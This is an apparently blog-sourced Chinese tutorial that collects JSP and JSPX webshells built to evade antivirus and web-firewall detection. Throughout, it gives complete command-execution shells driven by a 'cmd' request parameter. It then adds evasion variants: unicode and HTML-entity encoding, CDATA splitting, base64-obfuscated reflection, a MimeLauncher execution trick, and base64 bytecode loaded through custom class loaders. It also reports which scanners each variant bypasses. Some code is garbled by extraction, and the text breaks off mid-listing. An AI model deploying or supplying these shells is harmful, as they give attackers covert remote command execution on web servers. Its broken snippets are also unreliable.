十万字解析java免查杀合集

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

查杀的点在于Runtime.getRuntime().exec非常明显的特征

利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数，因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd)，从而绕过正则表达式

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


<%
  String cmd = request.getParameter("cmd");
  Process process = new ProcessBuilder(new String{cmd}).start();
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

免杀效果

某狗:

某盾:

某马：

vt：

某度在线查杀:

可以看到这全部都免杀过了，就换了一个函数。

这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开，相当于一个对调函数。免杀效果一般，因为很多查杀都是直接匹配Runtime.getRuntime()

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  String cmd = request.getParameter("cmd");
  Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object{cmd});

  Process process = (Process) expr.getValue();
  InputStream in = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
  String tmp = null;
  while((tmp = bufferedReader.readLine())!=null){
    response.getWriter().println(tmp);
  }
%>

查杀效果：

可以看到某狗已经查杀出来了。只能说效果很一般

jsp支持unicode编码，如果杀软不支持unicode查杀的话，基本上都能绕过

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>

<%
  uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0063uuuu006duuuu0064uuuu0020uuuu003duuuu0020uuuu0072uuuu0065uuuu0071uuuu0075uuuu0065uuuu0073uuuu0074uuuu002euuuu0067uuuu0065uuuu0074uuuu0050uuuu0061uuuu0072uuuu0061uuuu006duuuu0065uuuu0074uuuu0065uuuu0072uuuu0028uuuu0022uuuu0063uuuu006duuuu0064uuuu0022uuuu0029uuuu003buuuu0050uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu0020uuuu0070uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu0020uuuu003duuuu0020uuuu0052uuuu0075uuuu006euuuu0074uuuu0069uuuu006duuuu0065uuuu002euuuu0067uuuu0065uuuu0074uuuu0052uuuu0075uuuu006euuuu0074uuuu0069uuuu006duuuu0065uuuu0028uuuu0029uuuu002euuuu0065uuuu0078uuuu0065uuuu0063uuuu0028uuuu0063uuuu006duuuu0064uuuu0029uuuu003buuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0020uuuu0069uuuu0073uuuu0020uuuu003duuuu0020uuuu0070uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu002euuuu0067uuuu0065uuuu0074uuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0028uuuu0029uuuu003buuuu0042uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu0062uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu003duuuu0020uuuu006euuuu0065uuuu0077uuuu0020uuuu0042uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0028uuuu006euuuu0065uuuu0077uuuu0020uuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0028uuuu0069uuuu0073uuuu0029uuuu0029uuuu003buuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0072uuuu0020uuuu003duuuu0020uuuu006euuuu0075uuuu006cuuuu006cuuuu003buuuu0077uuuu0068uuuu0069uuuu006cuuuu0065uuuu0028uuuu0028uuuu0072uuuu0020uuuu003duuuu0020uuuu0062uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu002euuuu0072uuuu0065uuuu0061uuuu0064uuuu004cuuuu0069uuuu006euuuu0065uuuu0028uuuu0029uuuu0029uuuu0021uuuu003duuuu006euuuu0075uuuu006cuuuu006cuuuu0029uuuu007buuuu0072uuuu0065uuuu0073uuuu0070uuuu006fuuuu006euuuu0073uuuu0065uuuu002euuuu0067uuuu0065uuuu0074uuuu0057uuuu0072uuuu0069uuuu0074uuuu0065uuuu0072uuuu0028uuuu0029uuuu002euuuu0070uuuu0072uuuu0069uuuu006euuuu0074uuuu006cuuuu006euuuu0028uuuu0072uuuu0029uuuu003buuuu007d%>

注意这里的uuuu00可以换成uuuu00uuu...可以跟多个u达到绕过的效果

将代码（除page以及标签）进行unicode编码，并条件到<%%>标签中，即可执行webshell

在线unicode编码转换：

https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ，需要手动删除，负责无法正常运行

可以看到依旧执行成功

查杀效果：

这个基本上是通杀了属实是，但由于特征过于明显，如果人工查杀的话，很容易被发现

这里是要是利用jspx的进行进行免杀，jspx其实就是xml格式的jsp文件

在jspx中，可以利用<jsp:scriptlet>来代替<%%>

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<jsp:scriptlet>
  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>

当<jsp:scriptlet>被过滤时可以利用EL表达式，达到绕过的效果

${Runtime.getRuntime().exec(param.cmd)}

EL表达式的11个隐含对象

其他情况：

利用命令空间改名去绕过

<demo:root xmlns:bbb="http://java.sun.com/JSP/Page"  version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>

利用<jsp:expression>绕过
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page"  version="1.2">
   <jsp:expression>
   Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
   </jsp:expression>
</jsp:root>

以上是jsp的一些特性，下面开始正式讲解CDATA

说人话就是<!]>只要能配对就相互抵消，其他不变，因此就可以说多了一个混淆的方式，有点类似多行注释在一行中使用（sql注入绕过waf），但是这个特征可以将关键字，函数进行分割，让其能混淆的空间变的更大

下面是用xml格式的jsp文件

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>
</jsp:root>

可以看到这里是能正常运行的，接下来文件使用CDATA进行混淆

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = requ<!]>Parameter("cmd");
  Process process = Ru<!]>ime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>
</jsp:root>

依旧是能成功运行的，但是我们可以requst和Runtime这些类名都被插入了CDATA，从而消除了特征

免杀效果:

这里HTML编码免杀与jspx的特效有关，前面的CDATA设计到了jspx的相关知识，由此CDATA的免杀就在上文讲了

在XML里可以通过html实体编码来对特殊字符转义，jspx同样继承了该特性，由此jspx就具有识别html实体编码，接下来我们就利用上面的免杀马进行进一步的混淆

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = requ<!]>Parameter("cmd");
  Process process = Ru<!]>ime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>
</jsp:root>

注意：含有CDATA的内容是不能进行html实体编码的，反之html实体编码后的内容也不能插入CDATA，否则无法执行

在线html实体编码：

https://www.qqxiuzi.cn/bianma/zifushiti.php

可以看到依旧可以正常运行

本章主要讲解反射在webhell中的利用，以及反射绕过杀软的利用与原理

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter("cmd");

  Class<?> rt =Class.forName("java.lang.Runtime");
  Method runtimeMethod = rt.getMethod("getRuntime");
  Method method = rt.getMethod("exec", String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream in = process.getInputStream();
  InputStreamReader resultReader = new InputStreamReader(in);
  BufferedReader stdInput = new BufferedReader(resultReader);
  String s = null;

  while ((s = stdInput.readLine()) != null) {
    out.println(s);
  }
%>

免杀效果:

特征太明显里面还有java.lang.Runtime，getRuntime，exec这些敏感内容，由于与反射相关的参数都是字符串，由此我们能操作的空间就很大了。

利用base64加解密敏感内容

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

免杀效果：

通过测试发现并非查杀的是与反射相关的所有函数，而是匹配是否存在getMethod函数，因此我们只需将getMethod改为getDeclaredMethod即可

getDeclaredMethod替换getMethod

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

可以看到正常运行

免杀效果：

可以看到某盾依旧查杀，经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀，这种情况下，笔者并未找到太好的办法，要么就这些不回显，要么就利用之前文章写的免杀技巧。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
%>

免杀效果：

www.MimeLauncher免杀

在sun.net. www.MimeLauncher中存在一个run方法 ，而该run方法存在命令执行漏洞

本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲，由于MimeLauncher无法直接使用，需要借助反射进行调用，因此就笔者就将MimeLauncher放在反射免杀后讲，及本章

<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    URLConnection urlConnection = new URL("http://127.0.0.1%s").openConnection();
    MimeEntry mimeEntry = new MimeEntry("naihe");
    Class meClass = MimeEntry.class;
    Field field = meClass.getDeclaredField("command");
    field.setAccessible(true);

    Field field2 = meClass.getDeclaredField("tempFileNameTemplate");
    field2.setAccessible(true);
    field2.set(mimeEntry,"naihe%s567");

    InputStream inputStream = new InputStream() {
        @Override
        public int read() throws IOException {
            return -1;
        }
    };

    Class mimeClass = Class.forName("sun.net.www.MimeLauncher");
    Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
            InputStream.class,String.class,String.class);
    mimeCon.setAccessible(true);
    Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
    Field field3 = mimeClass.getDeclaredField("execPath");
    field3.setAccessible(true);
    field3.set(thread,cmd);
    Method m = mimeClass.getDeclaredMethod("run");
    m.setAccessible(true);
    m.invoke(thread);
%>

类似MimeLauncher的类还有许多，适合大家去挖掘挖掘，利用时大概率会用到反射，就当练习练习反射相关的知识也是不错的选择

免杀效果：

这种方式简单地说就是用ideal将java文件编程成class文件，然后将class读取出来用base64编码即可，这种方式比较方便简单，不需要会使用ASM，javassist等字节码框架。

package com.demo;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;

public class Demo {
    public static void main(String args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        FileChannel fileChannel = null;
        FileInputStream in = null;

        in = new FileInputStream("C:Users12107Desktop免杀targetclassescomdemoShell.class");
        fileChannel = in.getChannel();
        ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());

        while (fileChannel.read(buffer) > 0) {
        }

        System.out.println(new String(Base64.getEncoder().encode(buffer.array())));

    }
}

Shell.java

package com.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell {

    public static String runs(String cmd) throws IOException {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream is = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
        String r = "";
        String s = "";
        while((r = bufferedReader.readLine())!=null){
            s += r;
        }
        return s;
    }

}

javassist是生成修改字节码的框架，使用比ASM更简洁，但是并非jvm自带的库，也是笔者非常喜欢的一个框架。

package com.demo;

import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class Demo2 {
    public static void main(String args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();

        CtClass cc1 = classPool.makeClass("com.demo.Shell");

        CtConstructor cons = new CtConstructor(new CtClass{},cc1);
        cons.setBody("{}");
        String runCode1="{}";
        cons.insertBefore((runCode1));
        cc1.addConstructor(cons);

        CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass{classPool.get("java.lang.String")}, cc1);
        cm2.setModifiers(Modifier.PUBLIC);
        cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);
" +
                "        java.io.InputStream is = process.getInputStream();
" +
                "        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
" +
                "        String r = "";
" +
                "        String s = "";
" +
                "        while((r = bufferedReader.readLine())!=null){
" +
                "            s += r;
" +
                "        }
" +
                "        return s;}");
        cc1.addMethod(cm2);
        System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));

    }
}

ASM相比javassist操作更复杂，但是jvm自带，利用面非常广

package com.demo;

import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;


public class Demo2 {
    public static void main(String args){

        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
        cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);

        MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
        mw.visitVarInsn(ALOAD, 0);
        mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
        mw.visitInsn(RETURN);
        mw.visitMaxs(1, 1);
        mw.visitEnd();

        MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
                "(Ljava/lang/String;)Ljava/lang/Process;", null, null);
        mw2.visitCode();
        mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
                "()Ljava/lang/Runtime;",false);
        mw2.visitVarInsn(ALOAD,1);
        mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
        mw2.visitInsn(ARETURN);
        mw2.visitMaxs(10, 3);
        mw2.visitEnd();
        byte code = cw.toByteArray();
        System.out.println(new String(Base64.getEncoder().encode(code)));

    }
}

这里由于ASM操作比较复杂，就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这，这ASM回显的内容就先不放在ASM中生成)，由于runs函数的返回值为Process，我们只需要在后面的jsp处理中拿出来用即可。

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%


  ClassLoader loader = new ClassLoader() {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
      if(name.contains("com.demo.Shell")){
        return findClass(name);
      }
      return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
      try {
        byte bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
        PermissionCollection pc = new Permissions();
        pc.add(new AllPermission());
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate) null), pc, this, null);
        return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
      } catch (Exception e) {
        e.printStackTrace();
      }
      return super.findClass(name);
    }
  };

  String cmd = request.getParameter("cmd");
  Class<?> shell = loader.loadClass("com.demo.Shell");

  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);

  Process o2 = (Process)dm.invoke(object, cmd);
  InputStream is = o2.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = "";
  String s = "";
  while((r = bufferedReader.readLine())!=null){
    s += r;
  }
  response.getWriter().println(s);

%>

免杀修改

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  Method defineClass =
          ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                  byte.class, int.class, int.class);
  defineClass.setAccessible(true);

  byte bytes =  Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");

  Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);
  Object invoke = dm.invoke(object, "calc");
%>

免杀效果：

虽然用原始的defindClass虽然能到达免杀效果，但是由于没有重写loadClass，findClass，没有打破双亲委派，导致恶意的字节码被加载后，再次访问网页的时候，类不会被生成，导致不能正常使用

自定义classloader免杀

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%


  ClassLoader loader = new ClassLoader() {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
      if(name.contains("com.demo.Shell")){
        return findClass(name);
      }
      return super.loadClass(name);
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
      try {
        byte bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
